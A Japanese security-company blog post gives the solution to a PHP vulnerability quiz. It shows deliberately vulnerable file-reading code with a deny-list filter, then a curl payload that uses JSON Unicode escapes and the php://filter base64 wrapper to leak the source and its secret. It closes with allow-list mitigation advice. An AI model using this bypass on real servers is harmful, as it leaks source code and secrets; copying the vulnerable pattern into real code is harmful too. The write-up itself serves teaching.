はじめに
下記のTweetで出題させていただいた、Flatt Security Developers' Quizにご参加いただきありがとうございました!
⚡️ Flatt Security Developers' Quiz開催! ⚡️
— 株式会社Flatt Security (@flatt_security) 2022年5月25日
PHPコードに潜む脆弱性を見つけられますか?
先着10名の方に公式Tシャツとステッカーをプレゼント!皆さんの回答お待ちしております!
デモ環境: https://t.co/1HCK0uhKCL
回答提出フォーム: https://t.co/6exYUHoTig pic.twitter.com/HefgnsQotA
景品の獲得条件を満たした方には追ってメールでご連絡を差し上げますので、ご確認いただけますと幸いです。なお、景品獲得条件を満たさなかった方にはご連絡いたしません。ご了承ください。
今回のクイズでFlatt Securityに興味を持ってくださった方は是非下記のバナーよりサービス詳細をご覧ください。
今回のクイズの確認
ソースコード
<?php /* Can you leak the secret? */ error_reporting(0); define("SECRET", "***SECRET***"); /* WAF */ $query = file_get_contents("php://input"); if(!$query){ exit("Please send JSON data.."); } $filter_list = [ "php", "fil", "dat", "zip", "pha", "exp", "/", ".", ]; foreach ($filter_list as $filter) { if(stripos($query, $filter) !== false) { exit("Filtered!"); } } /* Read file from JSON */ $output = file_get_contents(json_decode($query, true)['fn']); /* Block reading PHP files */ if(stripos($output, "<?php") !== false){ exit("Filtered!"); } exit(json_encode(["data" => $output])); ?>
デモ環境
https://2205bison.twitter-quiz.flatt.training/
出題形式
PHPコードの脆弱性を突き SECRET
の値を漏洩させ、回答する。
難易度
セキュリティエンジニアなら簡単だが、開発者には「やや難しい」という想定で設定しました。
解答例
以下のような curl
コマンドを実行すると、base64でエンコードされたソースコードを漏洩させることができます。これをデコードすると、GOOD_JOB_FINDING_THE_SECRET_XOXO
という解答を得られます。
curl -d '{"fn":"p\u0068p:\u002f\u002f\u0066ilter\u002fconvert\u002ebase64-encode\u002fresource=index\u002ep\u0068p"}' https://2205bison.twitter-quiz.flatt.training/
解説
ポイントは以下の2点です。
- JSON経由でunicode文字を入力することによるフィルタのバイパス
- base64等にエンコードすることによるフィルタのバイパス
JSON経由でunicode文字を入力することによるフィルタのバイパス
今回のソースコードは以下の部分で攻撃に繋がりそうな文字列をブロックすることを試みています。
<?php ... $filter_list = [ "php", "fil", "dat", "zip", "pha", "exp", "/", ".", ]; foreach ($filter_list as $filter) { if(stripos($query, $filter) !== false) { exit("Filtered!"); } } ... ?>
ですが、これは送り込む文字列をunicodeのコードポイントに変換しておくことでバイパスできてしまいます。
JSONは仕様として、デフォルトでは文字列として \u...
からはじまるunicodeのコードポイントでの指定を許容しており、この方針でバイパスができそうだと推測できます。
JSONの仕様は以下のURLを参照してください。
https://datatracker.ietf.org/doc/html/rfc8259#section-7
base64等にエンコードすることによるフィルタのバイパス
今回のソースコードは以下の部分で <?php
から始まるファイルがoutputとして返されることをブロックしようと試みています。
すなわち、PHPファイルの漏洩をブロックすることを試みています。
<?php ... /* Block reading PHP files */ if(stripos($output, "<?php") !== false){ exit("Filtered!"); } ... ?>
ここで、PHPならではの攻撃手法が存在します。
PHPのfilter機能はbase64にエンコードされた形式でファイルを読み出すことができます。ファイル名を index.php
と推測すると以下のようなコードになります。
php://filter/convert.base64-encode/resource=index.php
また、ここで利用するのはbase64である必要はありません。コメント欄に解答手法を記入くださった方がいたのですが、その方はROT13を利用してフィルタをバイパスしていました。
エクスプロイト
ここまで見当がつくと後は簡単です。
php://filter/convert.base64-encode/resource=index.php
の文字列のうち、フィルタで検知される部分をunicodeのコードポイントに変換すればいいですね。php
, fil
, /
, .
を回避して、p\u0068p:\u002f\u002f\u0066ilter\u002fconvert\u002ebase64-encode\u002fresource=index\u002ep\u0068p
のような文字列に変換すると良さそうです。
後は curl
コマンドに組み立てて完成です。
base64のデコードまでパイプすると以下のようなコマンドになるでしょうか。
curl -d '{"fn":"p\u0068p:\u002f\u002f\u0066ilter\u002fconvert\u002ebase64-encode\u002fresource=index\u002ep\u0068p"}' https://2205bison.twitter-quiz.flatt.training/ | jq -r .data | base64 -D | grep SECRET
このような脆弱性が起こるパターンへの対策方法
今回の問題のように、「拒否リストを用いて特定の文字列の入力を阻害する」という手法は開発者の想定外なバイパスをされる可能性が残ってしまいます。
もしユーザーの入力を想定する箇所において「特定の文字列だけ受け付けたい」というような場合は「許可リストを作成し、入力された文字列がそのリストに一致する文字列かどうか比較する」といった方法で対策することが可能です。
終わりに
いかがだったでしょうか?Twitterでのクイズの出題は初めてだったので至らぬところもあったかもしれません。ぜひTwitterでのシェアやはてなブックマークコメントで感想をいただけると幸いです。
また、我々株式会社Flatt Securityはセキュリティ診断サービスを提供しています。
セキュリティエンジニアによる手動診断によって高い精度で脆弱性を洗い出すことが可能です。実際、今回題材にしたような脆弱性はツールのスキャンのみでは発見は難しいことが多く、セキュリティエンジニアによる手動検査が効果的です。
ツールによる診断しか過去実施しておらず認証や決済といった重要な機能のセキュリティに不安があったり、既存のベンダーとは違う会社に依頼したいと考えていたりする方はお気軽にご相談ください。
数百万円からスタートの大掛かりなものばかりを想像されるかもしれませんが、上記のデータが示すように、診断は幅広いご予算帯に応じて実施が可能です。ご興味のある方向けに下記バナーより料金に関する資料もダウンロード可能です。
また、Flatt Securityはセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式Twitterのフォローをぜひお願いします!
ここまでお読みいただきありがとうございました。